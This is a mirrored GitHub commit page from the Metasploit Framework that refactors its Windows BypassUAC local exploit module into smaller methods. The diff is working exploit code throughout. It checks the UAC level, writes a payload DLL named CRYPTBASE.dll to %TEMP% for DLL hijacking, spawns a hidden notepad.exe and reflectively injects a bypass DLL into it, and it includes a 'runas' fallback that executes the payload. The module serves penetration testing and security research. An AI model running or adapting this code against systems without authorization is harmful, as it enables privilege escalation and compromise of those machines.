mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-29 18:07:27 +01:00
code tidying
break big exploit method up into smaller methods for better maintainability
This commit is contained in:
parent
3c773f031c
commit
23381ea2cb
@ -49,53 +49,40 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
|
||||
end
|
||||
|
||||
def runas_method
|
||||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
write_file(tempexe, payload)
|
||||
print_status("Uploading payload: #{tempexe}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
def bypass_dll_path
|
||||
# path to the bypassuac binary
|
||||
path = ::File.join(Msf::Config.data_directory, "post")
|
||||
|
||||
# decide, x86 or x64
|
||||
sysarch = sysinfo["Architecture"]
|
||||
if sysarch =~ /x64/i
|
||||
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x86 Target Selected for x64 System"
|
||||
)
|
||||
end
|
||||
|
||||
if sysarch =~ /WOW64/i
|
||||
return ::File.join(path, "bypassuac-x86.dll")
|
||||
else
|
||||
return ::File.join(path, "bypassuac-x64.dll")
|
||||
end
|
||||
else
|
||||
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x64 Target Selected for x86 System"
|
||||
)
|
||||
end
|
||||
|
||||
::File.join(path, "bypassuac-x86.dll")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
||||
|
||||
#
|
||||
# Verify use against Vista+
|
||||
#
|
||||
winver = sysinfo["OS"]
|
||||
if winver !~ /Windows Vista|Windows 2008|Windows [78]/
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
end
|
||||
end
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Exploit::Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good "UAC is set to Default"
|
||||
print_good "BypassUAC can bypass this setting, continuing..."
|
||||
when UAC_NO_PROMPT
|
||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||
runas_method
|
||||
return
|
||||
end
|
||||
|
||||
def check_permissions!
|
||||
# Check if you are an admin
|
||||
vprint_status('Checking admin status...')
|
||||
admin_group = is_in_admin_group?
|
||||
@ -114,72 +101,80 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
||||
end
|
||||
end
|
||||
|
||||
tmpdir = expand_path("%TEMP%").strip
|
||||
windir = expand_path("%WINDIR%").strip
|
||||
|
||||
# path to the bypassuac binary
|
||||
path = ::File.join(Msf::Config.data_directory, "post")
|
||||
|
||||
# decide, x86 or x64
|
||||
sysarch = sysinfo["Architecture"]
|
||||
if sysarch =~ /x64/i
|
||||
unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x86 Target Selected for x64 System"
|
||||
def exploit
|
||||
validate_environment!
|
||||
|
||||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Exploit::Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
)
|
||||
end
|
||||
|
||||
if sysarch =~ /WOW64/i
|
||||
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
|
||||
else
|
||||
bpdll_path = ::File.join(path, "bypassuac-x64.dll")
|
||||
end
|
||||
else
|
||||
if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
|
||||
fail_with(
|
||||
Exploit::Failure::BadConfig,
|
||||
"x64 Target Selected for x86 System"
|
||||
)
|
||||
end
|
||||
|
||||
bpdll_path = ::File.join(path, "bypassuac-x86.dll")
|
||||
vprint_status(bpdll_path)
|
||||
when UAC_DEFAULT
|
||||
print_good "UAC is set to Default"
|
||||
print_good "BypassUAC can bypass this setting, continuing..."
|
||||
when UAC_NO_PROMPT
|
||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||
runas_method
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
# Generate payload and random names for upload
|
||||
#
|
||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||
payload_filepath = "#{tmpdir}\\CRYPTBASE.dll"
|
||||
check_permissions!
|
||||
|
||||
print_status("Uploading the Payload DLL to the filesystem...")
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||
write_file(payload_filepath, payload)
|
||||
rescue ::Exception => e
|
||||
fail_with(
|
||||
Exploit::Exception::Unknown,
|
||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||
)
|
||||
end
|
||||
upload_payload_dll!
|
||||
|
||||
dll = ''
|
||||
File.open(bpdll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
|
||||
File.open(bypass_dll_path, "rb" ) { |f| dll += f.read(f.stat.size) }
|
||||
offset = get_reflective_dll_offset(dll)
|
||||
|
||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
||||
pid = spawn_inject_proc
|
||||
run_injection(pid, offset, dll)
|
||||
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
# delete the uac bypass payload
|
||||
vprint_status("Cleaning up payload file...")
|
||||
file_rm(payload_filepath)
|
||||
end
|
||||
|
||||
if proc.nil? or proc.pid.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
||||
|
||||
|
||||
def get_reflective_dll_offset(dll)
|
||||
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
|
||||
|
||||
pe.exports.entries.each do |entry|
|
||||
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
|
||||
return pe.rva_to_file_offset( entry.rva )
|
||||
end
|
||||
end
|
||||
|
||||
pid = proc.pid
|
||||
raise "Can't find an exported ReflectiveLoader function!"
|
||||
end
|
||||
|
||||
|
||||
|
||||
def payload_filepath
|
||||
"#{expand_path("%TEMP%").strip}\\CRYPTBASE.dll"
|
||||
end
|
||||
|
||||
|
||||
|
||||
def runas_method
|
||||
payload = generate_payload_exe
|
||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
tmpdir = expand_path("%TEMP%")
|
||||
tempexe = tmpdir + "\\" + payload_filename
|
||||
write_file(tempexe, payload)
|
||||
print_status("Uploading payload: #{tempexe}")
|
||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
||||
print_status("Payload executed")
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def run_injection(pid, offset, dll)
|
||||
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
|
||||
begin
|
||||
vprint_status("Opening process #{pid}")
|
||||
@ -199,22 +194,63 @@ class Metasploit3 < Msf::Exploit::Local
|
||||
print_error("Failed to Inject Payload to #{pid}!")
|
||||
vprint_error(e.to_s)
|
||||
end
|
||||
|
||||
# delete the uac bypass payload
|
||||
vprint_status("Cleaning up payload file...")
|
||||
file_rm(payload_filepath)
|
||||
end
|
||||
|
||||
def get_reflective_dll_offset(dll)
|
||||
pe = Rex::PeParsey::Pe.new( Rex::ImageSource::Memory.new( dll ) )
|
||||
|
||||
pe.exports.entries.each do |entry|
|
||||
if( entry.name =~ /^\S*ReflectiveLoader\S*/ )
|
||||
return pe.rva_to_file_offset( entry.rva )
|
||||
end
|
||||
|
||||
def spawn_inject_proc
|
||||
windir = expand_path("%WINDIR%").strip
|
||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
if proc.nil? or proc.pid.nil?
|
||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
||||
end
|
||||
|
||||
raise "Can't find an exported ReflectiveLoader function!"
|
||||
proc.pid
|
||||
end
|
||||
|
||||
|
||||
|
||||
def upload_payload_dll!
|
||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||
print_status("Uploading the Payload DLL to the filesystem...")
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||
write_file(payload_filepath, payload)
|
||||
rescue ::Exception => e
|
||||
fail_with(
|
||||
Exploit::Exception::Unknown,
|
||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def validate_environment!
|
||||
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
|
||||
#
|
||||
# Verify use against Vista+
|
||||
#
|
||||
winver = sysinfo["OS"]
|
||||
|
||||
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
|
||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_status "UAC is Enabled, checking level..."
|
||||
else
|
||||
if is_in_admin_group?
|
||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user